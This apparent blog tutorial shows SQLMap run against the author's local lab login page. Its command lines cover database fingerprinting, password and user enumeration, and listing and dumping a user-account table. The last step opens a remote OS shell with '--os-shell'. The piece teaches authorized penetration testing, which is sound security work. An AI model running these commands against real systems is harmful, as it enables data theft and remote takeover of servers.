SQLMap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities in web applications. The SQL injection is a common web application security vulnerability that occurs when an attacker can manipulate an application's SQL query by injecting malicious SQL code. SQLMap is designed to identify and exploit such vulnerabilities, helping security professionals and ethical hackers test the security of web applications. It provides a lot of features such as;
This tool is one of the best things to happen to web applicaiton penetration testing.
Kali Linux
In both Linux and windows systems, you can download the zip file and extract it to your preferred location. Download the archive from this site sqlmap downloads If you are on Linux, some distros will have the tool already so try running an package installation. Here is an example in Kali Linux.
sudo apt install sqlmap -y
windows
Make sure python is installed on the system because it uses python scripts. On windows, I extracted my copy in the C drive and renamed the folder to sqlmap. So my Windows path is like this "C:\sqlmap".
Open command prompt if you have extracted the folder navigate to it. When running the commands, I will be using Kali Linux for my demonstration but you can also follow using windows. Simply use "sqlmap.py" everywhere I use "sqlmap".
cd C:/sqlmap
#windows test
sqlmap.py -u "sweshi.com" --batch
#Kali test
sqlmap -u "sweshi.com" --batch
We can use the tool to target database driven websites. The command below targets a local web server and I target the login page.
sqlmap -u "192.168.43.141/Lucky/login.php" --batch --forms -b
Here I insert the URL "-u" and set it to use default behaviour "--batch" and to analyze the forms on the page "--forms" and to display the database name and version "-b"
You can see that the web application is using MySQL 5.0
On the local web server I am using, I do not have a password set but we can still scan and see if it recognise that.
sqlmap -u "192.168.43.141/Lucky/login.php" --batch --forms -passwords
You can see from the result that the two users "pma" and "root" have no passowrds set.
We can also see the user the database is running under. From the password enumeration, we saw pma and root users so the database must be using one of them to run.
sqlmap -u "192.168.43.141/Lucky/login.php" --batch --forms --current-user
From the result, we can see that the root user is being used on "root@localhost"
To list the databases that exist on the database, we can change the code to have the "-dbs" option as shown below.
We can continue specifying separate things to view. lets try to view the tables in the DBMS.
sqlmap -u "192.168.43.141/Lucky/login.php" --batch --forms --dbs
We can also select a specific database and then view the tables that are in it. For this, we will use the --tables option to view the tables of the DB and the -D option to select the database we are interested in checking.For this example, I select the table named "realstate" from the prior result.
sqlmap -u "192.168.43.141/Lucky/login.php" --batch --forms --tables -D realstate
We can see that there are some tables listed from the database. We are interested in the accountusers table. We will use this table to show how we can view the contents of the database table.
We will select the table we are interested in using the -T option and then use the --dump option to display all the content. If we dont select the table, it can still show the contents of all the tables.
sqlmap -u "192.168.43.141/Lucky/login.php" --batch --forms --dump -T accountusers -D realstate
We can see all the columns of the table as well as the values in each column.
Sqlmap allows the user to plant a payload on the target system that can give us remote access to the command line. Thats right, we can have full cmd by implementing an OS and do damage to the target even beyond the web application. Remember to use these things ethically, get permission before doing any of this stuff.
#connect to the OS
sqlmap -u "192.168.43.141/Lucky/login.php" --batch --os-shell
#listing content on windows shell
dir
I ran the "dir" command because my webserver is on a Windows machine. I was able to connect successfully and I was able to list the contents of the web folder. You can of course run commands on the shell that the target OS supports and this makes this an extremely dangerous feature.